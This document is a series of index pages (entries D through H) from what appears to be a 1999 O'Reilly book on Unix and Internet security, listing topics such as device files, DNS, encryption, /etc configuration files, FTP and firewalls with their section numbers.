/dev/console device : 5.6. Device Files
/dev/kmem device
5.6. Device Files
11.1.2. Back Doors and Trap Doors
/dev/null device : 5.6. Device Files
/dev/random device : 23.7.4. Other random number generators
/dev/swap device : 5.5.1. SUID, SGID, and Sticky Bits
/dev/urandom device : 23.7.4. Other random number generators
device files : 5.6. Device Files
devices
managing with SNMP : 17.3.15. Simple Network Management Protocol (SNMP) (UDP Ports 161 and 162)
modem control : 14.5.2. Setting Up the UNIX Device
Devices file : 14.5.1. Hooking Up a Modem to Your Computer
df -i command : 25.2.2.3. Inode problems
dictionary attack : 8.6.1. The crypt() Algorithm
Diffie-Hellman key exchange system
6.4.2. Summary of Public Key Systems
18.6. Dependence on Third Parties
19.3. Secure RPC (AUTH_DES)
breaking key : 19.3.4. Limitations of Secure RPC
exponential key exchange : 19.3.1. Secure RPC Authentication
Digital Audio Tape (DAT) : 7.1.4. Guarding Against Media Failure
digital computers : 6.1.2. Cryptography and Digital Computers
Digital Equipment Corporation (DEC) : F.3.4.9. Digital Equipment Corporation and customers
Digital Signature Algorithm : (see DSA)
digital signatures
6.4. Common Cryptographic Algorithms
6.5. Message Digests and Digital Signatures
6.5.5.2. Message authentication codes
9.2.3. Checksums and Signatures
checksums : 6.5.5.1. Checksums
detached signatures : 6.6.3.6. PGP detached signatures
with PGP : 6.6.3.4. Adding a digital signature to an announcement
Digital UNIX
1.3. History of UNIX
(see also Ultrix)
directories
5.1.1. Directories
5.1.3. Current Directory and Paths
ancestor : 9.2.2.2. Ancestor directories
backing up by : 7.1.3. Types of Backups
CDFs (context-dependent files) : 24.4.1.7. Hidden files and directories
checklist for : A.1.1.4. Chapter 5: The UNIX Filesystem
dot, dot-dot, and / : 5.1.1. Directories
FTP depositories : 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
immutable : 9.1.1. Immutable and Append-Only Files
listing automatically (Web) : 18.2.2.2. Additional configuration issues
mounted : 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
mounting secure : 19.3.2.5. Mounting a secure filesystem
nested : 25.2.2.8. Tree-structure attacks
NFS : (see NFS)
permissions : 5.4. Using Directory Permissions
read-only : 9.1.2. Read-only Filesystems
restricted
8.1.5. Restricted Filesystem
8.1.5.2. Checking new software
root : (see root directory)
SGI and sticky bits on : 5.5.6. SGID and Sticky Bits on Directories
Web server structure of
18.2.2. Understand Your Server's Directory Structure
18.2.2.2. Additional configuration issues
world-writable : 11.6.1.1. World-writable user files and directories
<Directory> blocks
18.3.1. The access.conf and .htaccess Files
18.3.2. Commands Within the <Directory> Block
18.3.2.1. Examples
disaster recovery : 12.2.6.4. Minimizing downtime
disk attacks
25.2.2. Disk Attacks
25.2.2.8. Tree-structure attacks
disk quotas : 25.2.2.5. Using quotas
diskettes : (see backups; media)
dismissed employees : 13.2.6. Departure
disposing of materials : 12.3.3. Other Media
Distributed Computing Environment : (see DCE)
DNS (Domain Name System)
16.2.6. Name Service
16.2.6.2. Other naming services
17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
17.3.6.2. DNS nameserver attacks
nameserver attacks : 17.3.6.2. DNS nameserver attacks
rogue servers : 16.3.2. Security and Nameservice
security and : 16.3.2. Security and Nameservice
zone transfers
17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
17.3.6.1. DNS zone transfers
documentation
2.5. The Problem with Security Through Obscurity
23.2. Tips on Avoiding Security-related Bugs
domain name : 16.2.3. Hostnames
Domain Name System : (see DNS)
domainname command : 19.4.3. NIS Domains
domains : 19.4.3. NIS Domains
dormant accounts
8.4. Managing Dormant Accounts
8.4.3. Finding Dormant Accounts
dot (.) directory : 5.1.1. Directories
dot-dot (..) directory : 5.1.1. Directories
Double DES : 6.4.5. Improving the Security of DES
double reverse lookup : 16.3.2. Security and Nameservice
DOW USA : F.3.4.10. DOW USA
downloading files : 12.3.4. Protecting Local Storage
logging
10.3.3. xferlog Log File
10.3.5. access_log Log File
downtime : 12.2.6.4. Minimizing downtime
due to criminal investigations : 26.2.4. Hazards of Criminal Prosecution
logging : 10.7.2.1. Exception and activity reports
drand48 function : 23.7.3. drand48 ( ), lrand48 ( ), and mrand48 ( )
drills, security : 24.1.3. Rule #3: PLAN AHEAD
drink : 12.2.2.1. Food and drink
DSA (Digital Signature Algorithm)
6.4.2. Summary of Public Key Systems
6.5.3. Digital Signatures
DTE (data terminal equipment) : 14.3. The RS-232 Serial Protocol
du command : 25.2.2.1. Disk-full attacks
dual universes : 5.9.1. Dual Universes
ducts, air : 12.2.3.2. Entrance through air ducts
dump/restore program
7.1.3. Types of Backups
7.4.3. Specialized Backup Programs
7.4.4. Encrypting Your Backups
dumpster diving : 12.3.3. Other Media
duress code : 8.7.2. Token Cards
dust : 12.2.1.3. Dust

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

earthquakes : 12.2.1.4. Earthquake
eavesdropping
12.3.1. Eavesdropping
12.3.1.5. Fiber optic cable
12.4.1.2. Potential for eavesdropping and data theft
14.4.4. Protecting Against Eavesdropping
14.4.4.2. Protection against eavesdropping
16.3.1. Link-level Security
IP packets
16.3.1. Link-level Security
17.3.3. TELNET (TCP Port 23)
through log files : 18.4.2. Eavesdropping Through Log Files
on the Web
18.4. Avoiding the Risks of Eavesdropping
18.4.2. Eavesdropping Through Log Files
X clients : 17.3.21.2. X security
ECB (electronic code book)
6.4.4.2. DES modes
6.6.2. des: The Data Encryption Standard
echo command : 23.5. Tips on Using Passwords
ECPA (Electronic Communications Privacy Act) : 26.2.3. Federal Computer Crime Laws
editing wtmp file : 10.1.3.1. Pruning the wtmp file
editors : 11.5.2.7. Other initializations
buffers for : 11.1.4. Trojan Horses
Emacs : 11.5.2.3. GNU .emacs
ex
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
11.5.2.4. .exrc
11.5.2.7. Other initializations
startup file attacks : 11.5.2.4. .exrc
vi
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
11.5.2.4. .exrc
11.5.2.7. Other initializations
edquota command : 25.2.2.5. Using quotas
EDS : F.3.4.11. EDS and EDS customers worldwide
education : (see security, user awareness of)
effective UIDs/GIDs
4.3.1. Real and Effective UIDs
5.5. SUID
10.1.2.1. su command and /etc/utmp and /var/adm/wtmp files
C.1.3.2. Process real and effective UID
8mm video tape : 7.1.4. Guarding Against Media Failure
electrical fires
12.2.1.2. Smoke
(see also fires; smoke and smoking)
electrical noise : 12.2.1.8. Electrical noise
electronic
breakins : (see breakins; cracking)
code book (ECB)
6.4.4.2. DES modes
6.6.2. des: The Data Encryption Standard
mail : (see mail)
Electronic Communications Privacy Act (ECPA) : 26.2.3. Federal Computer Crime Laws
ElGamal algorithm
6.4.2. Summary of Public Key Systems
6.5.3. Digital Signatures
elm (mail system) : 11.5.2.5. .forward, .procmailrc
emacs editor : 11.5.2.7. Other initializations
.emacs file : 11.5.2.3. GNU .emacs
email : (see mail)
embedded commands : (see commands)
embezzlers : 11.3. Authors
emergency response organizations : (see response teams)
employees
11.3. Authors
13. Personnel Security
13.3. Outsiders
departure of : 13.2.6. Departure
phonebook of : 12.3.3. Other Media
security checklist for : A.1.1.12. Chapter 13: Personnel Security
targeted in legal investigation : 26.2.5. If You or One of Your Employees Is a Target of an Investigation...
trusting : 27.3.1. Your Employees?
written authorization for : 26.2.6. Other Tips
encryption
6.2. What Is Encryption?
6.2.2. The Elements of Encryption
12.2.6.2. Encryption
(see also cryptography)
algorithms : 2.5. The Problem with Security Through Obscurity
crypt
6.6.1. UNIX crypt: The Original UNIX Encryption Command
6.6.1.3. Example
Digital Signature Algorithm
6.4.2. Summary of Public Key Systems
6.5.3. Digital Signatures
ElGamal : 6.4.2. Summary of Public Key Systems
IDEA : 6.4.1. Summary of Private Key Systems
RC2, RC4, and RC5
6.4.1. Summary of Private Key Systems
6.4.8. Proprietary Encryption Systems
ROT13 : 6.4.3. ROT13: Great for Encoding Offensive Jokes
RSA
6.4.2. Summary of Public Key Systems
6.4.6. RSA and Public Key Cryptography
6.4.6.3. Strength of RSA
application-level : 16.3.1. Link-level Security
of backups
7.1.6.3. Data security for backups
7.4.4. Encrypting Your Backups
12.3.2.4. Backup encryption
checklist for : A.1.1.5. Chapter 6: Cryptography
Data Encryption Standard (DES)
6.4.1. Summary of Private Key Systems
6.4.4. DES
6.4.5.2. Triple DES
6.6.2. des: The Data Encryption Standard
DCE and : 3.2.2. The /etc/passwd File and Network Databases
Diffie-Hellman : (see Diffie-Hellman key exchange system)
end-to-end : 16.3.1. Link-level Security
Enigma system
6.3. The Enigma Encryption System
6.6.1.1. The crypt program
(see also crypt command/algorithm)
escrowing keys
6.1.3. Modern Controversy
7.1.6.3. Data security for backups
exporting software : 26.4.1. Munitions Export
of hypertext links : 18.4.1. Eavesdropping Over the Wire
laws about
6.7. Encryption and U.S. Law
6.7.2. Cryptography and Export Controls
link-level : 16.3.1. Link-level Security
of modems : 14.6. Additional Security for Modems
Netscape Navigator system : 18.4.1. Eavesdropping Over the Wire
with network services : 17.4. Security Implications of Network Services
one-time pad mechanism : 6.4.7. An Unbreakable Encryption Algorithm
of passwords
8.6. The UNIX Encrypted Password System
8.6.4. Crypt16() and Other Algorithms
23.5. Tips on Using Passwords
PGP : (see PGP)
programs for UNIX
6.6. Encryption Programs Available for UNIX
6.6.3.6. PGP detached signatures
proprietary algorithms : 6.4.8. Proprietary Encryption Systems
RC4 and RC5 algorithms : 6.4.1. Summary of Private Key Systems
references on : D.1.5. Cryptography Books
Skipjack algorithm : 6.4.1. Summary of Private Key Systems
superencryption : 6.4.5. Improving the Security of DES
and superusers : 6.2.4. Why Use Encryption with UNIX?
of Web information : 18.4.1. Eavesdropping Over the Wire
end-to-end encryption : 16.3.1. Link-level Security
Energy Sciences Network (ESnet) : F.3.4.43. U.S. Department of Energy sites, Energy Sciences Network (ESnet), and DOE contractors
Enigma encryption system
6.3. The Enigma Encryption System
6.6.1.1. The crypt program
Enterprise Networks : 16.1. Networking
environment variables
11.5.2.7. Other initializations
23.2. Tips on Avoiding Security-related Bugs
environment, physical
12.2.1. The Environment
12.2.1.13. Environmental monitoring
erasing disks : 12.3.2.3. Sanitize your media before disposal
erotica, laws governing : 26.4.5. Pornography and Indecent Material
errno variable : 23.2. Tips on Avoiding Security-related Bugs
errors : 7.1.1.1. A taxonomy of computer failures
in ACLs : 5.2.5.1. AIX Access Control Lists
configuration : 9.1. Prevention
human : 7.1.4. Guarding Against Media Failure
errors
Preface
(see also auditing, system activity)
escape sequences, modems and : 14.5.3.1. Originate testing
escrowing encryption keys
6.1.3. Modern Controversy
7.1.6.3. Data security for backups
ESnet (Energy Sciences Network) : F.3.4.43. U.S. Department of Energy sites, Energy Sciences Network (ESnet), and DOE contractors
espionage : 11.3. Authors
/etc directory
11.1.2. Back Doors and Trap Doors
11.5.3.5. System initialization files
backups of : 7.1.3. Types of Backups
/etc/aliases file : 11.5.3.3. /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag
/etc/default/login file : 8.5.1. Secure Terminals
/etc/exports file
11.6.1.2. Writable system files and directories
19.3.2.4. Using Secure NFS
making changes to : 20.2.1.2. /usr/etc/exportfs
/etc/fbtab file : 17.3.21.1. /etc/fbtab and /etc/logindevperm
/etc/fingerd program : (see finger command)
/etc/fsck program : 24.4.1.7. Hidden files and directories
/etc/fstab file
11.1.2. Back Doors and Trap Doors
19.3.2.5. Mounting a secure filesystem
/etc/ftpd : (see ftpd server)
/etc/ftpusers file : 17.3.2.5. Restricting FTP with the standard UNIX FTP server
/etc/group file
1.2. What Is an Operating System?
4.1.3.1. The /etc/group file
4.2.3. Impact of the /etc/passwd and /etc/group Files on Security
8.1.6. Group Accounts
/etc/halt command : 24.2.6. Anatomy of a Break-in
/etc/hosts file : 16.2.3.1. The /etc/hosts file
/etc/hosts.equiv : (see hosts.equiv file)
/etc/hosts.lpd file : 17.3.18.6. /etc/hosts.lpd file
/etc/inetd : (see inetd daemon)
/etc/inetd.conf file : 17.3. Primary UNIX Network Services
/etc/init program : C.5.1. Process #1: /etc/init
/etc/inittab : (see inittab program)
/etc/keystore file : 19.3.1.1. Proving your identity
/etc/logindevperm file : 17.3.21.1. /etc/fbtab and /etc/logindevperm
/etc/motd file : 26.2.6. Other Tips
/etc/named.boot file
17.3.6.1. DNS zone transfers
17.3.6.2. DNS nameserver attacks
/etc/passwd file
1.2. What Is an Operating System?
3.2.1. The /etc/passwd File
3.2.2. The /etc/passwd File and Network Databases
4.2.3. Impact of the /etc/passwd and /etc/group Files on Security
8.1.1. Accounts Without Passwords
8.6. The UNIX Encrypted Password System
C.5.1. Process #1: /etc/init
+ in : (see NIS)
accounts without passwords : 8.1.1. Accounts Without Passwords
backing up : 7.1.2. What Should You Back Up?
new accounts : 24.4.1. New Accounts
NFS : 20.2.1.1. /etc/exports
uucp user and : 15.1.4. How the UUCP Commands Work
/etc/profile file
11.5.2.1. .login, .profile, /etc/profile
24.4.1.6. Changes to startup files
/etc/publickey file : 19.3.2.1. Creating passwords for users
/etc/rc directory
11.5.3.5. System initialization files
17.1.2. Starting the Servers
C.5.1. Process #1: /etc/init
commenting out services : 17.3. Primary UNIX Network Services
/etc/remote file
10.3.1. aculog File
14.5.1. Hooking Up a Modem to Your Computer
/etc/renice : (see renice command)
/etc/secure/passwd file : 8.1.1. Accounts Without Passwords
/etc/security/passwd.adjunct file : 8.8.5. Shadow Password Files
/etc/sendmail/aliases file : 11.5.3.3. /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag
/etc/services file : 17.1.1. The /etc/services File
/etc/services file : 17.1.1. The /etc/services File
/etc/shadow file
8.1.1. Accounts Without Passwords
8.8.5. Shadow Password Files
/etc/shells file : 8.4.2. Changing the Account's Login Shell
/etc/syslogd : (see syslog facility)
/etc/tty file, backing up : 7.1.2. What Should You Back Up?
/etc/ttys file
8.5.1. Secure Terminals
14.5.1. Hooking Up a Modem to Your Computer
/etc/ttytab file : C.5.1. Process #1: /etc/init
/etc/utmp file
10.1.2. utmp and wtmp Files
10.1.2.1. su command and /etc/utmp and /var/adm/wtmp files
24.2.1. Catching One in the Act
24.2.4. Tracing a Connection
/etc/uucp directory : 15.4.2.1. Some bad examples
/etc/yp/makedbm program : 19.4.4.1. Setting up netgroups
in restricted filesystems : 8.1.5. Restricted Filesystem
Ethernet : 16.1. Networking
addresses for random seeds : 23.8. Picking a Random Seed
cables : (see cables, network)
eavesdropping by : 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
Ethers table (NIS+) : 19.5.3. NIS+ Tables
Euler Totient Function : 6.4.6.1. How RSA works
eval function
18.2.3.2. Testing is not enough!
18.2.3.3. Sending mail
evidence, equipment seized as : 26.2.4. Hazards of Criminal Prosecution
ex editor
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
11.5.2.4. .exrc
11.5.2.7. Other initializations
exceptions : C.2. Creating Processes
exclamation mark (!) and mail command : 15.1.3. mail Command
exclusive OR (XOR) : 6.4.7. An Unbreakable Encryption Algorithm
exec (in Swatch program) : 10.6.2. The Swatch Configuration File
exec system call
5.1.7. File Permissions in Detail
18.2.3.3. Sending mail
23.2. Tips on Avoiding Security-related Bugs
25.2.1.1. Too many processes
ExecCGI option : 18.3.2. Commands Within the <Directory> Block
execl system call : 23.4. Tips on Writing SUID/SGID Programs
execlp system call : 23.4. Tips on Writing SUID/SGID Programs
execute permission
5.1.7. File Permissions in Detail
5.4. Using Directory Permissions
execv system call : 23.4. Tips on Writing SUID/SGID Programs
execve system call : 23.4. Tips on Writing SUID/SGID Programs
execvp system call : 23.4. Tips on Writing SUID/SGID Programs
expiring
accounts : 8.4.3. Finding Dormant Accounts
FTP depositories : 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
passwords : 8.8.6. Password Aging and Expiration
explosions : 12.2.1.5. Explosion
export laws : 26.4.1. Munitions Export
cryptography
6.4.4.1. Use and export of DES
6.7.2. Cryptography and Export Controls
exportfs command : 20.2.1.2. /usr/etc/exportfs
exports file
11.6.1.2. Writable system files and directories
19.3.2.4. Using Secure NFS
20.2.1.1. /etc/exports
20.2.1.2. /usr/etc/exportfs
.exrc file : 11.5.2.4. .exrc
ext2 filesystem (Linux) : 25.2.2.6. Reserved space
external data representation (XDR) : 19.2. Sun's Remote Procedure Call (RPC)
extinguishers, fire : (see fires)
extortion : 11.3. Authors

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

factoring numbers
6.4.6. RSA and Public Key Cryptography
6.4.6.3. Strength of RSA
(see also RSA algorithm)
failed login attempts : (see logging in)
failures, computer
7.1.1.1. A taxonomy of computer failures
23.2. Tips on Avoiding Security-related Bugs
(see also bugs)
fair use laws : 26.4.2. Copyright Infringement
Fast Filesystem (FFS) : 25.2.2.6. Reserved space
FBI (Federal Bureau of Investigation)
26.2.2. Federal Jurisdiction
F.3.2. Federal Bureau of Investigation (FBI)
fbtab file : 17.3.21.1. /etc/fbtab and /etc/logindevperm
Federal Information Processing Standard (FIPS) : 6.4.2. Summary of Public Key Systems
federal law enforcement
26.2.2. Federal Jurisdiction
26.2.3. Federal Computer Crime Laws
FFS (Fast File System) : 25.2.2.6. Reserved space
fgets function : 23.1.1. The Lesson of the Internet Worm
fiber optic cables : (see cables, network)
File Handles : 20.1.2. File Handles
File Transfer Protocol : (see FTP)
filenames, attacks via : 11.5.1.4. Filename attacks
files : 5.1. Files
automatic directory listings : 18.2.2.2. Additional configuration issues
backing up
7. Backups
7.4.7. inode Modification Times
automatic system for
7.3.2. Building an Automatic Backup System
18.2.3.5. Beware stray CGI scripts
critical files
7.3. Backing Up System Files
7.3.2. Building an Automatic Backup System
prioritizing : 7.3.1. What Files to Back Up?
changing owner of : 5.7. chown: Changing a File's Owner
context-dependent (CDFs)
5.9.2. Context-Dependent Files
24.4.1.7. Hidden files and directories
core : C.4. The kill Command
descriptors : 23.2. Tips on Avoiding Security-related Bugs
detecting changes to
9.2. Detecting Change
9.3. A Final Note
device : 5.6. Device Files
downloading, logs of
10.3.3. xferlog Log File
10.3.5. access_log Log File
finding all SUID/SGID
5.5.4. Finding All of the SUID and SGID Files
5.5.4.1. The ncheck command
format, monitoring : 8.2. Monitoring File Format
group-writable : 11.6.1.2. Writable system files and directories
hidden : 24.4.1.7. Hidden files and directories
hidden space : 25.2.2.7. Hidden space
history : 10.4.1. Shell History
immutable : 9.1.1. Immutable and Append-Only Files
integrity of : (see integrity)
intruder's changes to : 24.4.1.1. Changes in file contents
locating largest : 25.2.2.1. Disk-full attacks
locking : 23.2. Tips on Avoiding Security-related Bugs
log : (see log files)
mail sent directly to : 15.7. Early Security Problems with UUCP
modification times of
5.1.2. Inodes
5.1.5. File Times
7.4.7. inode Modification Times
9.2.2. Checklists and Metadata
network configuration : 10.4.3. Network Setup
permissions to : (see permissions)
remote access to
15.4.1. USERFILE: Providing Remote File Access
15.4.2.1. Some bad examples
SGID bit on : 5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory Record Locking
startup
11.5.2. Start-up File Attacks
11.5.2.7. Other initializations
system database : 1.2. What Is an Operating System?
transfering between systems : 15.1.1. uucp Command
types of : 5.1.6. Understanding File Permissions
unowned : 24.4.1.8. Unowned files
on Web servers : (see Web servers)
world-writable : 11.6.1.1. World-writable user files and directories
zero-filled bytes in : 7.4. Software for Backups
filesystems : (see directories)
filter files (mail) : 11.5.2.5. .forward, .procmailrc
filters, air : 12.2.1.3. Dust
find command
5.5.4. Finding All of the SUID and SGID Files
11.5.1.4. Filename attacks
-H option : 5.9.2. Context-Dependent Files
-ls option : 9.2.2.1. Simple listing
-size option : 25.2.2.1. Disk-full attacks
-H option : 24.4.1.7. Hidden files and directories
-print option : 5.5.4. Finding All of the SUID and SGID Files
type -f option : 5.5.4. Finding All of the SUID and SGID Files
-xdev option : 5.5.4. Finding All of the SUID and SGID Files
finger command
8.1.3. Accounts That Run a Single Command
10.1.1. lastlog File
10.1.2. utmp and wtmp Files
15.3.1. Assigning Additional UUCP Logins
15.4.3. L.cmds: Providing Remote Command Execution
17.3.4.3. Improving the security of Berkeley sendmail V8
17.3.8. finger (TCP Port 79)
17.3.8.3. Replacing finger
21.4.4.1. Creating an ftpout account to allow FTP without proxies.
23.1.1. The Lesson of the Internet Worm
24.2.1. Catching One in the Act
24.2.4.2. How to contact the system administrator of a computer you don't know
(see also Internet, Worm program)
disabling : 17.3.8.2. Disabling finger
FIPS (Federal Information Processing Standard) : 6.4.2. Summary of Public Key Systems
fired employees : 13.2.6. Departure
fires
12.2.1.1. Fire
12.2.1.2. Smoke
12.4.1.1. Fire hazards
extinguishers and radio transmitters : 12.2.1.8. Electrical noise
firewalls
8.8.9. Account Names Revisited: Using Aliases for Increased Security
17.2. Controlling Access to Servers
21. Firewalls
21.4.2. Electronic Mail
21.5. Special Considerations
checklist for : A.1.1.20. Chapter 21: Firewalls
mailing list for
E.1.3.1. Academic-Firewalls
E.1.3.7. Firewalls
nameservers and : 17.3.6.2. DNS nameserver attacks
for NIS sites : 19.4.5. Unintended Disclosure of Site Information with NIS
portmapper program and : 19.2.1. Sun's portmap/rpcbind
for specific network services : G. Table of IP Services
FIRST teams
24.6. Resuming Operation
E.3.3. FIRST
Fitzgerald, Tom : 22.5. UDP Relayer
flooding
client : 16.3.2. Security and Nameservice
messages : 25.3.2. Message Flooding
servers with requests : 25.3.1. Service Overloading
water : (see water)
floors, raised : 12.2.3.1. Raised floors and dropped ceilings
floppy disks : (see backups; media)
folders : (see directories)
FollowSymLinks option : 18.3.2. Commands Within the <Directory> Block
food : 12.2.2.1. Food and drink
fork command
23.2. Tips on Avoiding Security-related Bugs
25.2.1.1. Too many processes
C.2. Creating Processes
format
file, monitoring : 8.2. Monitoring File Format
redoing as destructive attack : 25.1. Destructive Attacks
USERFILE entries : 15.4.1.3. Format of USERFILE entry without system name
.forward file
11.5.2.5. .forward, .procmailrc
21.4.2. Electronic Mail
24.4.1.6. Changes to startup files
Frame Ground (FG) : 14.3. The RS-232 Serial Protocol
fraud
14.4.1. One-Way Phone Lines
26.2.2. Federal Jurisdiction
fscanf function : 23.2. Tips on Avoiding Security-related Bugs
fsck program
24.4.1.7. Hidden files and directories
25.2.2.8. Tree-structure attacks
fsirand command : 20.4.8. Use fsirand
fstab file
11.1.2. Back Doors and Trap Doors
19.3.2.5. Mounting a secure filesystem
FTP (File Transfer Protocol)
17.3.2. (FTP) File Transfer Protocol (TCP Ports 20 and 21)
17.3.2.7. Allowing only FTP access
anonymous
4.1. Users and Groups
17.3.2.1. Using anonymous FTP
17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
anonymous
and HTTP : 18.2.4.1. Beware mixing HTTP with anonymous FTP
~ftp/bin directory : 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
~ftp/etc directory : 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
~ftp/pub directory : 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
logging transferred files : 10.3.3. xferlog Log File
passive mode
17.3.2.2. Passive vs. active FTP
17.3.2.3. FTP passive mode
setting up server
17.3.2.4. Setting up an FTP server
17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
ftp account : (see anonymous FTP)
ftpd server
8.4.2. Changing the Account's Login Shell
11.1.2. Back Doors and Trap Doors
17.3.2. (FTP) File Transfer Protocol (TCP Ports 20 and 21)
17.3.2.4. Setting up an FTP server
for backups : 7.4.5. Backups Across the Net
security hole : 6.5.2. Using Message Digests
UUCP enabled on : 15.8. UUCP Over Networks
ftpout account, firewalls : 21.4.4.1. Creating an ftpout account to allow FTP without proxies.
ftpusers file : 17.3.2.5. Restricting FTP with the standard UNIX FTP server
ftruncate system call : 5.1.7. File Permissions in Detail
full backups : 7.1.3. Types of Backups
function keys : 12.3.4.5. Function keys
functionality, add-on : 1.4.3. Add-On Functionality Breeds Problems

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

games
8.1.4. Open Accounts
17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
gas, natural : 12.2.1.5. Explosion
gated deamon : 17.3.19. Routing Internet Protocol (RIP routed) (UDP Port 520)
gateways : 16.2.2. Routing
gcore program : C.4. The kill Command
GCT tool : 23.2. Tips on Avoiding Security-related Bugs
gdb debugger : C.4. The kill Command
GECOS (or GCOS) : 3.2.1. The /etc/passwd File
Geer, Dan : 27.2.6. Network Providers that Network Too Well
General Electric Company : F.3.4.13. General Electric
generating
passwords automatically : 8.8.4. Password Generators
random numbers : 23.6. Tips on Generating Random Numbers
German government institutions : F.3.4.25. Netherlands: SURFnet-connected sites
gethostbyaddresses function : 16.2.6.1. DNS under UNIX
gethostbyname function : 16.2.6.1. DNS under UNIX
getopt function : 23.2. Tips on Avoiding Security-related Bugs
getpass function
23.2. Tips on Avoiding Security-related Bugs
23.5. Tips on Using Passwords
getpwuid function : 19.4.1. Including or excluding specific accounts:
gets function : 23.1.1. The Lesson of the Internet Worm
getservicebyname function : 17.1.1. The /etc/services File
getstats program : 10.3.5. access_log Log File
getty program : C.5.2. Logging In
GIDs (group identifiers)
1.4.3. Add-On Functionality Breeds Problems
4.1.3. Groups and Group Identifiers (GIDs)
4.1.3.3. Groups and BSD or SVR4 UNIX
real versus effective : 4.3.1. Real and Effective UIDs
GIP RENATER : F.3.4.12. France: universities, Ministry of Research and Education in France, CNRS, CEA, INRIA, CNES, INRA, IFREMER, and EDF
glass walls : 12.2.3.3. Glass walls
GNU Emacs : 11.5.2.3. GNU .emacs
GNU utilities : 23.1.2.1. What they found
Goldman, Sachs, and Company : F.3.4.38. U.K. JANET network
granularity, time : 23.8. Picking a Random Seed
grounding signals : 25.3.3. Signal Grounding
group disk quotas : 25.2.2.5. Using quotas
group file
1.2. What Is an Operating System?
4.1.3.1. The /etc/group file
4.2.3. Impact of the /etc/passwd and /etc/group Files on Security
8.1.6. Group Accounts
group IDs : (see GIDs)
Group table (NIS+) : 19.5.3. NIS+ Tables
groups
4.1.3. Groups and Group Identifiers (GIDs)
4.1.3.3. Groups and BSD or SVR4 UNIX
accounts for : 8.1.6. Group Accounts
changing : 5.8. chgrp: Changing a File's Group
checklist for : A.1.1.3. Chapter 4: Users, Groups, and the Superuser
files writable by : 11.6.1.2. Writable system files and directories
identifiers for : (see GIDs)
NIS netgroups
19.4.4. NIS Netgroups
19.4.4.6. NIS is confused about "+"
umask for group projects : 5.3.1. The umask Command
wheel : (see wheel group)
grpck command : 8.2. Monitoring File Format
guessing passwords : (see cracking, passwords)
guest accounts
4.1. Users and Groups
8.1.4. Open Accounts
8.1.4.6. Potential problems with rsh
8.8.7. Algorithm and Library Changes

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

hacker challenges : 27.2.4. Hacker Challenges
hackers : 1. Introduction
Haley, Chuck : 1.3. History of UNIX
Halon fire extinguishers : 12.2.1.1. Fire
and radio transmitters : 12.2.1.8. Electrical noise
halt command : 24.2.6. Anatomy of a Break-in
hanging up modem : (see signals)
harassment : 26.4.7. Harassment, Threatening Communication, and Defamation
hard copy : (see paper)
hard disks : (see media)
hardcopy device, logging to : 10.5.2.1. Logging to a printer
hardware
bugs in : 27.2.1. Hardware Bugs
failure of : 7.1.1.1. A taxonomy of computer failures
food and drink threats : 12.2.2.1. Food and drink
modems
14. Telephone Security
14.6. Additional Security for Modems
physical security of
12.2. Protecting Computer Hardware
12.2.7. Related Concerns
read-only filesystems : 9.1.2. Read-only Filesystems
seized as evidence : 26.2.4. Hazards of Criminal Prosecution
hash functions : 6.5.1. Message Digests
hash mark (#), disabling services with : 17.3. Primary UNIX Network Services
HAVAL algorithm : 6.5.4.3. HAVAL
HAVAL algorithm : 23.9. A Good Random Seed Generator
HDB UUCP : 15.2. Versions of UUCP
header, packet : 16.2. IPv4: The Internet Protocol Version 4
heat, extreme : 12.2.1.6. Temperature extremes
Hellman, Martin : 6.4.5.1. Double DES
Hellman-Merkle : 18.6. Dependence on Third Parties
Hewlett-Packard (HP) : F.3.4.17. Hewlett-Packard customers
hidden
data, in CGI scripts : 18.2.3.1. Do not trust the user's browser!
files, created by intruders : 24.4.1.7. Hidden files and directories
space : 25.2.2.7. Hidden space
hijacking Telnet sessions : 17.3.3. TELNET (TCP Port 23)
history file (csh)
10.4.1. Shell History
15.1.1.1. uucp with the C shell
hit lists of passwords : 3.6.1. Bad Passwords: Open Doors
holes, security : (see security holes)
HOME variable, attacks via : 11.5.1.3. $HOME attacks
HoneyDanBer (HDB) UUCP : 15.2. Versions of UUCP
Honeyman, Peter : 15.2. Versions of UUCP
hostnames
16.2.3. Hostnames
16.2.3.1. The /etc/hosts file
